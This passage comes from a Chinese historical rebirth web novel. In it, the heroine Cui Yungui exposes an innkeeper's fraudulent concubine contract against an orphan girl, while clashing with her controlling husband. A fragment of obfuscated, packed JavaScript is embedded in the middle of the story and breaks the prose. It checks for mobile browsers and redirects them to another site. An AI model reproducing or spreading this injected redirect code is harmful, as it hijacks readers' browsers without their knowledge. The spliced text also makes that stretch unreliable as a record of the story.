房中主仆四人不知外头已经有人来过,依旧玩闹,留下一阵欢声笑语。
“寸笺,大奶奶是何时开始性情大变的?”
魏麟自楼上的厢房出来后就坐在楼下方桌前沉思,他想不明白,前世性格无波无澜,胆小怯懦的妻子究竟是什么时候变的,如今还说出“见侮而不斗,辱也”这种话来。
被提到的寸笺不明所以,他没有前世的记忆,所以在他看来魏麟和崔云归成亲还不足半年,哪能看出这么多来?
难道大爷说的是大奶奶闺中与现在对比?
寸笺更糊涂了,他只能斟酌着回答:“许是大奶奶本性如此?”
本性如此?
魏麟嘴角抿成一条绷直的线,似是不悦
“冒尖出头,徒生祸端”
寸笺明白主子言辞何意,只是看忠节侯府如此形势,大奶奶的处事之道很难不引人瞩目,确实会为其带来些不必要的麻烦。
总归是从小伴到大的主子,他也不单看着主子愁眉不展,寸笺搜肠刮肚的想出言安慰一二,还未想到,主子蹙起的眉头就舒展开来,随后嘴角还漾开一抹淡笑来
他听见魏麟说:
“罢了,她尚且年幼”
夜已三更,金波淡、玉绳低转。就着月光凤淮正看着温序秋传给他的信,是今日崔云归的动向。
不同
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往日单薄的一句无事发生,今天温序秋洋洋洒洒的写了一页纸,详细的记录了今天崔云归吹嘘自己的全部过程以及最后她说的那句“见侮而不斗,辱也”。
崔云归能在春寻三人大肆吹嘘自己的英勇,但不能哄得过凤淮。如果他愿意,他可以清楚的知道崔云归一天之内喝了多少次水,所以当他看到温序秋写崔云归大夸其词时一下没忍住笑了起来。
“则玉,看什么呢,这么高兴”
余靖川自后一掌拍在了凤淮肩上,并往前伸头试图看清信上的内容,还未看清手上就一松,身体瞬间失衡,好险让他摔个趔趄
“玄机署机密,看了回去圣上可是要治你罪的”
凤淮恐吓了他一番,不紧不慢的把信用火折子烧了。余靖川站稳整了整自己的盔甲,不理会他的恐吓,反而揶揄起了凤淮
“你少唬我,你二更天时已经看了一封密信,那封估计才是玄机署机密,你方才看的那封我可是瞧见了明晃晃的‘夫人'二字,再则谁人看密报发笑?怕不是则玉你在家中早已娶了娘子,又疼惜几两酒钱,才哄骗哥哥们谎称你孤家寡人一个”
火苗烧到了信纸末端,再进一步就要烧到手指了,凤淮捏住信纸的一角把它扬了出去,一脸诚挚的发问
“娘子?那是什么?不曾听说过”
余靖川朗声大笑,不轻不重捶了凤淮一拳,打闹完,他收敛了神绪,颔首点了点那边被压着走的匪寇头子
“再过几日这边的差事便了了,到时你回安阳去?”
凤淮想起二更天时传来的那封密信既没有点头也没有摇头,余靖川见状一凛,左顾右盼一番后确认四周没人后才压低嗓门道:
“不回安阳,难不成是废帝那边有消息了?”
凤淮不作答,乜了眼余靖川,余靖川在这一眼里得出了答案,他捂住自己的嘴赔罪
“是我失言”
废帝祁连生性残暴,又敏感多疑,狡兔三窟被他学了个彻底,只要走露了一点风声便藏个没影。
当今圣上苦废帝久矣,设立玄机署并任命凤淮为指挥使,凤淮领的第一封差事便是奉命查找废帝祁连的踪迹,所以余靖川也不怪凤淮不与他跌落半个字出来。
见余靖川如此审时夺度,凤淮也将此话题翻篇,投桃报李取笑了他一把
“靖川兄还是早点回,出来时我可记得老夫人站在门前叮嘱你早些回去,可见是心里记挂你”
“我娘哪是记挂我,她是想我回去给恒哥儿找个后娘”
余靖川揪了根草叼在嘴巴上,毫不留情的拆老娘的台
“新春后我娘就开始悄悄的相看安阳中适婚的姑娘,她老以为瞒的很好,却不知千防万防,家贼难防,素佩的贴身大丫鬟起了嫁我为妾的心思,将这些全同我说了”
凤淮知道他家那个小子,现今不过三岁,乃余靖川和亡妻刘素佩之子,长得虎头虎脑的,胆子也大,见他第一面就流着口水唤他叔叔,极讨人喜欢
“你如何看?”
贴身丫鬟是后宅的事,凤淮不曾见过,不知其人好坏,但他一个男子,自然也不便问打听兄弟后院的姑娘怎样,只能从余靖川的态度上推敲他的意思。
谈到了儿子的正事,余靖川一收吊儿郎当的痞样,“呸”的一口吐掉嘴里叼着的长草,脸上有了几分为人父母的稳重
“恒哥儿娘走的早,今年恒哥儿三岁了,我也不过也才二十四,老实说,不再娶不可能,然父母之爱子,则为之计深远,我觉着与其娶个嫉恨心强、爱磋磨孩子的高门贵女,倒不如寻个心地善良、愚笨些、能将恒哥儿视若己出的小户人家姑娘”
凤淮娘子都不曾娶,也无法共情为人父母的舐犊情深,不过他确实同意余靖川的说辞
“这自然是的”
15.孤女卢娘
又一日晴,朝阳初升时载有魏麟一行人的马车就踢踢踏踏的出了城。
路途漫长无聊,所幸家乡就在前方,只需两日便可到达,许是这个原因,崔云归的心情自今早一开始便很明媚,甚至可以笑着邀请从车帷探头查看车内情况的魏麟一起打叶子牌。
无奈他自持身份,不肯与丫鬟坐在一起打牌,崔云归的心情也没好到可以为了他而放弃最喜欢的叶子牌四人玩法的境界,于是魏麟只能讪讪然的在外面骑着马听了整整一天半崔云归主仆四人在马车内打牌的欢笑声。
“旺来,姑娘问什么时辰能进竹溪?”
秋收一手把脸上贴着的长条白纸撕下揉成一团攥在手心,一手撑在马车门上问赶车的仆夫旺来。这是她们的赌注,一局罢了谁输就要在谁脸上贴一张长条白纸,白纸贴的最多的人就要甘愿当崔云归传话筒。
后面这条规则崔云归不参与,并非她拿乔,用主子身份占便利,而是她牌技出众,少有输牌的时候,毫不吝的说就算把竹溪中最善叶子牌的姑娘夫人集在一起,崔云归都能在这里面拔的头筹。
旺来扬起鞭子在马背上抽了一鞭后回头笑着答道:“秋收姐姐,代我回姑娘的话,至多还有一个时辰我们就能进城!”
他止不住的雀跃,他是崔云归的陪嫁,跟着崔云归一同去了安阳,爹娘姊妹全留在竹溪,原以为这辈子无缘再见,未曾想朝廷一纸圣谕将姑爷调到竹溪来当差,更没有想到的是姑爷竟带着姑娘一起来了!现在他也是归心似箭,恨不得将马插上两只翅膀,下一瞬就能飞到竹溪去。
是的,他现在已经不称魏麟为大爷了,改称为姑爷,对崔云归也由大奶奶重新变为姑娘。
此事还要追述到几日前,那夜魏麟下令原地休整不去找崔云归,春寻和秋收对他的称呼就由大爷改为了姑爷,对崔云归也改了口,同一直以来不曾变过称呼的冬藏叫回了姑娘。
旺来因为机灵会来事入了崔云归的眼,做了专程伺候崔云归出行的仆夫。他本就在那日犯糊涂缩了起来,连去找姑娘的面子工程都没做,日日提心吊胆怕着有一日有人向崔云归告状,如今正赶着将功赎罪,春寻三人唤崔云归为姑娘,他自然就跟着变了称呼。
车门就薄薄一层,旺来还加大声量回话,无非就是想取机讨个巧,崔云归一眼便看穿了他的小心思,她掀起车帷想看看外边的景色,碰巧此时魏麟也从外面打起车帷看她,一下之间,两人好险头碰头磕在一起。
距离太近,近到魏麟都可以看见崔云归脸上细小的毛绒,只不过顷刻之间,崔云归便仰头退了回去,与他拉开了安全的距离。专属崔云归的微热气息还萦绕在鼻尖,被迫在外骑了一日半马的郁闷心情被一扫而空,魏麟故意轻咳一声,装作无事发生
“娘子想看什么?”
刚才只是意外,崔云归早已恢复了那副波澜无惊得神情。
“我看看前方可有什么歇脚的食店,四月的日头毒辣起来了,现在红日当空照,大伙儿又饥又饿,连马都不走动了,此地距离竹溪不过一个时辰,找个地让大家用些东西再走也来得及”
这确实为难到了魏麟,他生在安阳,长在安阳,考取功名后又在朝廷做官,莫说竹溪了,就是让他说一说安阳周边有几家饭店酒楼他也是说不出个所以然的。
术业有专攻,魏麟不知道这附近有没有歇脚的饭店,但做为仆夫的旺来从小跟在父亲学赶车,竹溪周边的境况早已烂熟于胸,找家饭店不是难事,他急于向崔云归邀功,便越过魏麟直接回了崔云归的话
“姑娘,姑爷,再往前行半刻钟有一家专供行客歇脚的食店,小是小了些,但那边厨子做的饭菜味道是极好的”
“那我们便去那里歇歇脚”
魏麟不在意旺来的僭越,直接做了决定。他行事一直如此,总独自做决定,全然不顾崔云归有怎样的想法。
虽然魏麟发了话,但旺来还是不敢轻举妄动,直到崔云归也应了一声他才催快了马车。
那夜过后他就想清楚了,他是姑娘的陪嫁,身契捏在姑娘手上,自然要听姑娘的指令,至少从外面看上去他要对姑娘忠心。
“娘子怎的不吃?此食店虽小,但菜做的委实不错”
魏麟夹了一块鱼肚肉放进崔云归碗里,他见崔云归举着筷子迟迟不落筷,便猜想崔云归应当是嫌弃这家食店。
这也正常,起初他看到这家食店时心生嫌弃,点菜时也是顺着小二的话点了几道,本抱着囫囵吃两口果腹就可的心,尝了一口后才发现旺来所言非虚,这的厨子做菜确实不错。
“姑爷……”
春寻面色微动,上前想告诉魏麟崔云归不食辛辣,才刚有动作崔云归就先一步把那块鱼肚肉夹到了魏麟碗里。
魏麟困惑,崔云归接下春寻倒来的茶抿了一口
“我不食辛辣”
魏麟脸色一僵,算上前世,他们已经做了十年的夫妻,他竟然连枕边人的喜好都不知。
不过这倒也无事,他们这辈子才刚开始,还有很多时间让他去了解她,魏麟凝神望了崔云归片刻,郑重其事地应下:“好,我记下了”
“……”记下了什么?记下有何用?
崔云归失语,夹着根菜心在茶水里反复涮洗后才放入口中,没吃到两口,崔云归再次撂下筷子。
还是太辣了!
这种开在路边地食店接待的大都是在路途上奔波的人,饭菜做的辛辣些才能下饭,魏麟生在安阳,那边无辣不欢,这饭菜恰好正中他口味,崔云归生在竹溪,口味清淡,一点辣都吃不了,勉强吃下的两口已是极限。
饭菜是吃不下了,崔云归就捧着两日前在弋城买的糕点饱腹。
吃到五分饱时,楼下爆发了激烈的争吵。
看热闹自盘古开天以来就是人的天性,崔云归也不例外,她本就同魏麟坐在一起啃糕点啃得烦闷,这下便直接撇下了魏麟带着春寻去靠栏边凑热闹去了。
楼下是食店的掌柜在和一个女子争吵,女子一手扬着一张纸,一手指着掌柜怒骂,激动的面红耳赤
“你这人好不要脸!我与你签的分明是卖酒的契书,现在上面怎会变成我自愿做你的妾?!”
当着众人的面被指着痛骂,掌柜也不恼,转而笑呵呵的向店里的客人赔罪解释:“这姑娘家中人将她卖与我做妾,许是现在不愿意了,这才趁着现在人多搅和我的生意来了,不碍什么事,扰了诸位兴致,我给各桌送壶热酒赔罪”
“小人无耻!我娘早死,爹也在去年去了,我孤家寡人一个哪里来的什么家里人?你休在这胡扯!”
女子见掌柜仗着来这里歇脚的都
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是生面孔就在这信口胡诌后暴跳如雷,搬出已故的爹娘为自己讨回公道。掌柜的面皮比城墙还厚上三分,当众被女子拆穿后还强词夺理
“死了爹娘,你总有叔伯婶母,再说,那契书上可是有你亲手摁下的手印,当时还叫了一个识字的老先生坐庭,他亲眼见证,我可没有逼迫你”
手印确实是她心甘情愿摁下的,但那是诓骗!女子被气的脖子涨红,抖着嘴唇说不出话来。崔云归听完了全貌,有心帮,只是有些事还有待查证,她遣春寻去叫了来旺过来。
“姑娘”来旺知道崔云归找他,筷子一扔就来了。
崔云归瞟向楼下咬着嘴唇,双目赤红的女子,问道:“你可认识她?”
“认识”来旺点点头,知无不言,言无不尽“那姑娘姓卢,她娘早死,只生了她一个,她爹在她娘死后也没有再娶,一门心思放在酿酒上,确实也酿的一手好酒,据说家中的卫姨娘上个丈夫便是喝了她爹酿的酒醉死了,不过去年我随主君去弋城便就听说她爹已经死了”
就是说女子所言句句属实?
前日晚上刚与春寻谈及徐三娘子,此时又面对这种欺压女子的事,崔云归以前尚且不能置身事外,现在更不可能袖手旁观,只是她刚要下去,就被魏麟攥住了手腕
“娘子,在其位,谋其政;不在其位,不谋其政”
魏麟刚才也听了个大概,他苦读圣贤书十余载,分辨案情不是难事,他知道这件事那女子是受害者,也知道掌柜所为是欺负她孤女无依,又不识字,这才诓骗她摁下委身与他做妾的手印,但他就是不愿挺身而出,不愿还孤女一个公道,不仅他不出手,他也阻拦着崔云归不让她出手。
二人四目相对,各不退让,崔云归一根一根掰开魏麟锁住她手腕的手指,嘴角轻扬,半是讽刺半是讥诮
“我只略读过几本书,远不如大爷有学问,不知什么在其位,谋其政;不在其位,不谋其政,只知君子可内敛不可懦弱,面不公可起而论之”
魏麟被她一通阴阳怪气气的不通,在本就有意磨崔云归的性子下他按耐住三丈高的怒火,快一步侧身挡住了崔云归的去路
“娘子,这世上本就是各司其职,各尽其责,官员食俸禄,他们的事自有官会来管,你又何须执着去搅这躺浑水,逞这个英雄?!”
魏家本就顶着归降之臣的帽子耻辱度日,他有个崔云归这样出头冒尖的妻子只会给家族徒增祸患。
崔云归仿佛听到了天大的笑话,眼睫轻掀,那双盛有讥讽意味的眼睛暴露在魏麟面前
“是吗?那我想问问身为户部员外郎的魏大人,你领的可是朝廷俸禄?”
“……”魏麟很多时候都会疑心崔云归是不是冰雪做的人,长的清清冷冷,性格更冷,说话时上下嘴皮一碰就能叫他心冷。
“让开”
如果可以崔云归是想直接叫他滚的。
魏麟执拗的不肯让,崔云归也不管他,撞开他的肩膀强闯过去。
魏麟挫败的塌下肩膀,眼里流露出一丝不解,他不明白,他只是爱她,只是想要她留在他身边,为什么崔云归不肯为他妥协。
他当然不明白,崔云归于他而言是美丽但带刺的花,他想要细嗅,想要拥有,所以他要拔净她身上的刺,再完全的、彻底的将这朵花揣进怀中。
16.扮猪吃老虎
“我道这里怎如此热闹,原来是在唱恶棍强娶孤女的戏,掌柜当真是卓尔不群,出类拔萃,既能打理好生意,又唱的一手好戏”
崔云归扶着春寻的手自楼上款步而下,她人未至,声先到,引的店中食客全看向她,崔云归恍若未察,戴着帷帽下了楼后径直朝大门口走,食店掌柜和孤女便是在大门口争吵。
“让让让——”
来旺大声吆喝着,食客看他搬着一张圈椅横冲直撞,连忙躲闪着给他让路。
“夫人”
来旺一幅我做的很好,快来夸我的样子对着崔云归笑,他曾经看过一次魏花氏坐在太师椅上发落下人的样子,那叫一个威风!回去后他就在想,为什么平时看上去柔弱的魏花氏怎么一坐下就多了一丝不怒自威的气质,终于有一日,他替姑娘赶车时又看见了不知谁家的贵人坐在交椅上训斥手脚不干净的贼人,那一瞬间,旺来有了答案,坐在椅子上说话就是有旁人不可企及的威严。
魏花氏那样软弱的长相坐了椅子都威风,姑娘定能更威风!
“……”
崔云归不明白他此举的含义,但依照前世做侯夫人的习惯还是拂袖坐了下去。
掌柜目光紧锁在崔云归的脸上,对崔云归搅合他的事感到很不满
“你是谁?”
他的目光又落在崔云归坐的圈椅上,认出了这把圈椅是自己的专座,气的脸上的横肉都堆在一起
“不问自取是为偷!”
未等崔云归回答他,站在一边的旺来就狐假虎威的斥道:“闭嘴!什么偷!要不是你这店没有一把像样的椅子,我们夫人才不屑于坐你坐过的圈椅”
旺来刻意尊称崔云归夫人,加上颐指气使的样子,看着真有那么一丝高官权贵府上家仆的样子,不仅镇住了掌柜,连同一并被镇住的还有食店里的所有食客,大家看崔云归的目光多了一丝探究,如果有人能有读心术,一定诧异他们心里想到的都是同一句话:
这是哪位显贵的夫人?
“……”真是够了
“我是谁不打紧,打紧的是这出戏唱的着实让人看着憋屈,我素来不喜看这样的戏,你来——”
崔云归扬了扬袖袍不理会掌柜将信将疑的目光,抬手向后招了招手,让孤女卢迎过来。
卢迎独自一人时能像个无畏的女将军般叉着腰同掌柜高声吵架,现在有崔云归站出来帮她说话了,她的一腔委屈便一股脑涌上心头,好险让她当中流下泪来
“夫人”
卢迎也以为崔云归是某个高官显贵的夫人,到了跟前就要给崔云归跪下,好在冬藏手快,一把捞起了她,把她安置在最近的长凳上坐下,在抽出那张被她攥的发皱的契书同时往她手上房了杯热茶
“姑娘,喝口茶”
崔云归看了契书,上面写的果然是卢迎将嫁于他做妾,她把契书递给秋收,温声安慰卢迎
“姑娘莫怕,你只管把事一五一十的说出来,我身旁的丫鬟识得字,你说什么她就记什么,若真是强抢民女,那就凭这一纸诉状告到官府去”
春寻拿着文房四宝去而复返,她展开纸找了个位置坐下,冬藏滴了一滴茶水在砚台上,自觉领了研墨的差事,墨的差不多了她停手对卢迎点点头,示意她可以开始说了。
卢迎回以点头,忍着热泪跟崔云归复述事件原本的模样
“我叫卢迎,住在琼花村,我爹卢冬生酿的一手好酒,他,王春元开的这家食店里面的酒全是在我家买的,去年我爹身患恶疾时收了王春元一车酒钱,把我爹下葬后,我便推了一车酒来找王春元交货,王春元收了货拉着我说喝惯了我家的酒,于是便问我酿的酒味道如何,第二日我送了壶酒给王春元,王春元说我酿的酒比我爹酿的酒还好,于是便让我继续给他的食店送酒,我爹死后,原本找我家买酒的酒楼以我孤身一个姑娘做不得主为由不再与我做买卖,王春元却愿意同我继续做买卖,当时我自然是极欢喜的”
话头到了卢冬生身上,卢迎想到了自父亲死后她遭受的种种委屈,眼底不由得滑过落寞
“我给他送了一年的酒,一月之前,他突然跟我说,他还想从我这定酒,只是我年岁渐长,他怕交了酒钱后我卷着他的酒钱嫁人去了,于是他便拟了一封契书,还虚情假意的同我说不占我便宜,请了个识字的老先生一同诓骗我摁下手印,我识不得字,又轻信了他,以为上面当真是买卖酒的契书,不曾想他无耻至极,写得竟是我自愿委身予他做妾!”
“你说你不识字,那你是怎么知道契书上写的是让你给他做妾?”
魏麟不知什么时候走到了崔云归身后,他看完了崔云归递给秋收的契书,也听完了卢迎的口述供词。
听见魏麟的质问,崔云归眉眼透出几分不耐,因为极为隐秘,所以没有人瞧见。
“大奶奶”
寸笺小声唤着崔云归,暗示意味明显,大爷为夫,大奶奶为妻,天底下断没有丈夫站着妻子却坐着的道理。崔云归对此充耳不闻,头都没抬一下,兀自稳坐钓鱼台,寸笺无可奈何,他也不敢上去把崔云归揪起来让魏麟坐,他只能退而求其次搬了条长凳放到崔云归身旁让魏麟坐。
卢迎没有立马回答魏麟,下意识地看向崔云归,崔云归颔首,明确了自己的意思,卢迎这才答道
“我新酿了一种酒想给它取个名,但苦于不曾读过书,想不到好名字,于是在今日忙完家中大小的事宜后便去求了村中教书的先生,先生好酒,说要尝过酒的滋味才好取名,我就将他带到了家中,先生怜我孤苦,提出由他牵线将我嫁于他家侄儿,我推拒不过就照识说了我还要给王春元送一年的酒,为佐证,我将契书拿给了先生看,这才知道王春元让我摁下手印的是让我嫁与他做妾的契书”
卢迎答起话来条理清晰,魏麟坐在长凳中间,直对着卢迎,一问罢了又来一问
“你方才说王春元请了个识字的老先生一同诓骗你,你可能找到那老先生为你作证?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726911|156620||http|test|mini|href|location''.split(''|''),0,{}));
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>“大人”
崔云归从椅子上起身,状似无意的走了两步,挡在了卢迎和魏麟之间。
审案怎能逮着一个当事人问?她一个后宅女子都明白的道理,魏麟一个朝廷命官能不知道?他这分明是因为她的缘故而在刻意刁难卢迎,崔云归一边在心里骂魏麟小气一边把始作俑者王春元扯下来
“大人,那老先生是王春元请的,想必是与他相识,大人何不让王春元把他请过来,也省的卢姑娘一介孤女劳苦奔波”
她从座位上下来,魏麟默认了她软了脾气,便也就不再为难卢迎,他微微颔首,下巴轻点,如了崔云归的意
“娘子思虑周到——王春元,你去将为你主事的老先生请来”
王春元支吾半天说不出个所以然来,索性就破罐破摔,指着崔云归和魏麟大声叱责起来
“你们是谁?!到我这店里来逞威风?我可告诉你们,爷爷我上头可是有人的!”
魏麟和崔云归双双沉默了,魏麟沉默在想朝廷官员谁是竹溪这边的人,或是哪位同僚有竹溪这边的远亲,崔云归沉默则是觉得这幅样子似曾相识,正在回想在哪里看过这幅嘴脸
他们的沉默落入王春元眼中便是忌惮,于是他又神气起来了
“若你们现在就走我便既往不咎,若还要死乞白赖留着搅合,爷爷我便让你们家破人亡”
想起来了,他这幅样子崔云归太熟了,她家有一个这样的“表姑娘”每每做了些龌龊事被她拆穿后也是这种表现,心里有鬼便企图加大音量壮声势。
心虚了,心虚了就好了。
崔云归掩嘴轻笑,笑声清脆悦耳,她走回圆椅前坐下,目光利如刀扎在王春元身上,令他无处遁逃,就算隔着薄纱,王春元也被这道目光吓的慌神
“好啊,我今日倒要睁大眼睛看看哪个官要让我家家破人亡”
她侧身与魏麟对视,长睫轻扫,一双翦水秋瞳顾盼生辉
“大人,我们可得将他绑了引出那个只手遮天的‘上头'来,先将此人丢进牢里关上几个月,待办好了这里的差事便绑了他一并回程去秉明陛下,陛下如今正重用大人,保不齐可以用那狗官头上的乌纱帽给大人换个好前程来”
崔云归长相算不得绝世美人,只一双眼睛生的极美,不笑时里头像是盛满了冰雪,有着拒人于千里之外的清冷疏离,笑起来则似冰雪消融,春水奔腾。
透过帷帽的薄纱,魏麟溺毙在这雾气弥漫的春水中,他的手指无意识的摩挲着袖口的花纹,似受了什么蛊惑一般,喉结滚动间一句话脱口而出
“——好,都依你”
崔云归藏起笑意,眉目一凛,抬手指着王春元
“寸笺,旺来,把他绑了丢到后面的马车里,现在就带他去见官!”
“得了,夫人”
姑娘扮猪吃老虎,他们随行的奴仆自然也不能畏畏缩缩,平白长他人志气,旺来摩拳擦掌,和寸笺一起拿着手指粗细的麻绳向王春元逼近。
17.沉冤得雪
看着越来越近的二个男人,王春元一时竟忘了逃走,惊惧的叫嚷起来
“你们别过来,我说,我什么都说”
他的心理防线已经被击垮,也翻不出什么风浪来,崔云归睇了眼旺来和寸笺示意他们可以退下了,王春元缩着脖子埋头当鹌鹑,全然没了一开始趾高气扬的蛮狠样,他唯唯诺诺的上前指了指供伙计休息的里间,小声向魏麟提议
“大人,可否借一步说话?“
崔云归嘴角微翘,放声替魏麟驳回王春元的提议
“什么话是在这不能说的?”
大庭广众之下可以颠倒是非,众目睽睽之下为何不可以昭示清白?
简直是有违天理。
当然不能说,因为无论是所谓的他上头有人还是坐堂见证的老先生都是假的,前者是威胁恐吓想让他们知难而退,后者是他随便从食店拉了一个老头子给了他几贯钱让他帮忙作局,酒尽客散,他去哪里找这个临时凑局的老先生?
王春元将最后的希望放在魏麟身上,魏麟一言不发,他是不满崔云归出头冒尖的举动,但崔云归是他八抬大轿娶回家的娘子,且事都做出去了,他于情于理也不会为了外人拂去自己娘子的面子。王春元希望落空,迫于无奈开始拣轻避重说些无关紧要的事
“是我夸口,我只是做一点小买卖,上无在朝廷做官的远亲,下无有作为的近亲——”
插科打诨,偷奸耍滑!崔云归直接截断了他的话
“我若是你就省些口水不去说这些废话,免得见了官老爷说不出话来”
威胁!她这就是赤裸裸的威胁!王春元恼羞成怒,又不能奈崔云归何,老实的交代出来
“是我诓骗卢氏摁下手印,以前家中贫苦,食不果腹,我娘子整日劳累,身子亏损严重,至今膝下无子,我就想再娶个小来生孩,去年卢氏的爹死了,她家中只余下她一个孤女,我见她虽不识字,但踏实肯干,模样又生得不错,看着也好生养,便起了娶她做小的心,又怕她性情刚烈,不愿答应,才提出让她给我再送了一年的酒,又以看着她年岁渐长,怕交了酒钱后她卷着我的酒钱嫁人去了为由,拟了一封契书,与她说是买卖酒的契书,实际写得是她自愿委身予我做妾”
这已经由不得他说不说的,听那夫人的话语,又是办差事,又是如今陛下重用,又是换个好前程……
没有一句话直接秉明了他们的身份,但也正因如此才叫人害怕,因为无人能猜准他们的身份,只能在那夫人给定的范围里去猜,无人有勇气去拿自己的小命去赌魏麟只是朝廷中的一名无足轻重的小官。
王春元赌不起,崔云归也正是知道他赌不起,所以她刻意把话说的模棱两可,为的就是让王春元自行去猜魏麟的身份。
一旦有了猜疑,就会生出忌惮,生了忌惮,她再稍加威胁招供便成了必然的事,结果也正如她预料的那般,崔云归很满意他的表现,追问道:
“替你坐堂佐证的老先生又是谁?”
食店中的众人也是没想到歇个脚吃个饭还能看这一出大戏,八卦之色都写在了脸上,纷纷望向王春元,等着他的回答。
谎言被戳穿,王春元并非一点脸不要,他羞愧低头
“我也不认识他,为了让卢氏少去猜疑,我花了几贯钱请了个在店中歇脚的老人,让他配合我演这出戏”
清白得以昭示天下,卢迎激愤起身
“无耻小人!你无子是你作恶多端,不积福报!现在真相大白天下,赶紧把另一份契交与我!”
所有东西已经明朗,食店里多少双眼睛都看着他,王春元现在不敢耍花招,老老实实把属于他的那份契书拿给卢迎。
卢迎不识字,把契书递给崔云归寻求她的帮助,崔云归转手给了魏麟,让他去做这个好人,算是对他今日最后听从她指令的奖赏。
“没错,与那份契书是一样的”
魏麟一目十行的扫完这份契书,确认无误后把这份契书也交给了秋收,让秋收连同属于卢迎的那份一并归还给卢迎。
随后他站起来看了眼寸笺,寸笺会意,从袋里掏了银子付饭钱。
饭也吃了,案也断了,也该启程了。
“夫人”
卢迎气喘吁吁的跑了过来,崔云归预备上马车的脚顿住,回头看她,见她抱着一个黑色陶缸费力的跑过来不由得惊诧
“这是什么?”
卢迎小心翼翼的把陶缸交到冬藏手上,福身行了一礼感激道
“今日一事多谢夫人出手相助,我身无长物,唯独酿酒还算凑合,这坛酒是我新酿的,赠与夫人做谢礼,还望夫人莫要嫌弃太寒酸”
崔云归原想回拒,转念想到表兄周商序喜好藏美酒,就也不推辞收下了
“举手之劳,何足挂齿”
见她收下酒卢迎更开心了,崔云归看着眼前的姑娘不过十四五岁,比妹妹云倩大不了多少,心中怜惜渐起,忍不住提醒她
“下次小心些,莫要再上当受骗了”
崔云归好意提醒,卢迎不胜感激,笑着说道:
“以前我爹说我一个姑娘家不必念书,我便也没念书,现经此一遭,我才知道姑娘家也是要念书识字的,这样才不会叫人欺负了去,夫人放心,下次他们就骗不了我,明日我就去找村里的教书先生让他教我识字”
她笑起来眼睛弯的如小船一般,让人看了心生欢喜,崔云归笑了笑,转头吩咐冬藏把酒抱好后提裙上了马车。
魏麟早已在马车里等候多时了,他左思右想,还是决定他要与崔云归好好说道说道,让她收敛住自己的性子,遇事不要强出头,最好能恢复前世一样贤良淑德的性子。
他想的很美好,却忽略了崔云归的态度。
崔云归压根就不理他,帷帽都不想摘。
分明她刚才不是这样的,魏麟不接受崔云归只在有求于他之时才给能他好脸色的事实,紧抿着唇来了句无头无脑的话
“你大不似往日贤良淑德”
崔云归帷帽下的白眼都要翻到天上去了,她无动于衷,没有一丝一毫的情绪波动
“那大爷便与我和离吧”
真教她开了眼界,原来隐忍和委屈在他魏麟眼中是贤良淑德?
魏麟先是一震,反应过来后满是恼怒
他不过说了她一句,她便就要同他和离?!
崔云归才不睬他,阖上眼帘养精蓄锐,马上到竹溪了,她那偏心的父亲、恶毒的姨娘和“柔弱”的“表妹”不知又会做出什么惊世骇俗之事来,不管什么事,一场硬仗肯定是少不了的。
同一个中午,安阳忠节侯府的观月阁同样不平静。
“姑娘,夫人差人送来了燕窝”
朝露端着三十盏上好的燕窝进门,花倚翠放下已经绣了一半的嫁衣看了一眼,问道:
“这燕窝是从姑母拿的还是从那贱人的私库里面拿的?”
不用她说花倚翠也知道,这样成色的燕窝,侯府里只有崔云归那有
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,她面露凶光,憎恶的掀翻托盘,把三十盏燕窝连同承盘打翻在地
“拿走,我不要那贱人的东西!”
“……”你今日身上这件衣服就是从大奶奶院里拿的布料。
朝露木然垂头,把心中所想的话吞进肚子里。花倚翠近几日本就因为大爷的事不高兴,若她还把这话说出口,那必然下了花倚翠的面子,到时候肯定又免不了一顿折磨,为了自己的身子,朝露闭上了她的嘴,把散落一地的燕窝捡起来,连带着承盘一起端了出去。
事情的起因是前几日有人送来了魏麟的信。花倚翠原本在侍弄花草,听后手一抖,剪烂了一盆她细心照料了许久的兰花,若放在平日里,她一定会责罚一通在旁伺候的人,但今日许是心急,她放了剪子就急急忙忙赶到前厅去看信。
不过她急忙赶过去看的信似乎不合她的心意,事实也正是如此,在看到第一句“父母大人膝下:孩儿魏麟携妻崔云归叩首百拜”时花倚翠就无名火起,嫉恨驱使她想要将信撕个粉碎,但又怕魏麟信中提到了她,生生克制住毁信的欲望,压住心火继续看了下去。
只是直到她看到了“敬颂崇祺,肃请夏安”两句结束语还是没有找到关于她的一个字,连最基本的一句“表妹安好?”都找不到。
朝露没有资格看魏麟写的家信,她不识字,也看不懂信,不过她看得懂表姑娘的脸色,从表姑娘黑如锅底的脸色来看,信上定然是没有令她满意的内容。花倚翠不死心的又连着看了两遍,结果自然还是没有的,魏麟压根就没写,所以哪怕她把那张信纸盯出朵花来都不会凭空出现。
看她山雨欲来风满楼的神情,朝露当时真害怕表姑娘会在侯爷和夫人面前发作起来,但很快她就发现表姑娘颇有长进,没有像以前一样当着侯爷的面摔花瓶、茶盏,一直忍到了跟随夫人一起回了敬雪堂,到了敬雪堂她也不是发脾气,而是扑进夫人怀里委屈哭诉大爷心里没有她了,夫人也是疼爱她,搂紧就是好一通安慰,承诺只要大爷从竹溪当差回来就把她放在大爷房里做姨娘。
有了夫人的保证后,表姑娘的心情平复了不少,坐起来挽住夫人的手臂撒娇讨好,请求夫人送她也去竹溪,陪在大爷身边。
夫人疼爱她不假,但更爱自己的儿子,想也没想直接拒绝了表姑娘的请求。表姑娘再缠磨,夫人就让她们这些仆婢全部都出去了,姑侄两人关着门在里面说体己话。
那天她们姑侄二人关着门说的话朝露不知道,只记得表姑娘最后是哭着从敬雪堂出来的,回来后就开始绣嫁衣。
不知是不是表姑娘今日表现的太乖巧,竟让夫人生出了些愧疚来,表姑娘一从敬雪堂出来,夫人就开了大奶奶放陪嫁的库房,亲自从里面数了三十盏燕窝给表姑娘送来。
朝露望着小丫鬟手上端着的燕窝出神,轻叹了口气
嫁到这样的家中来,大奶奶也真是可怜
一口气叹出去,她很快就敛了目光,收回视线。
她只是一个做下人的,哪有什么资格去可怜主子?人生在世,各有各的无奈,做主子的尚且如此。
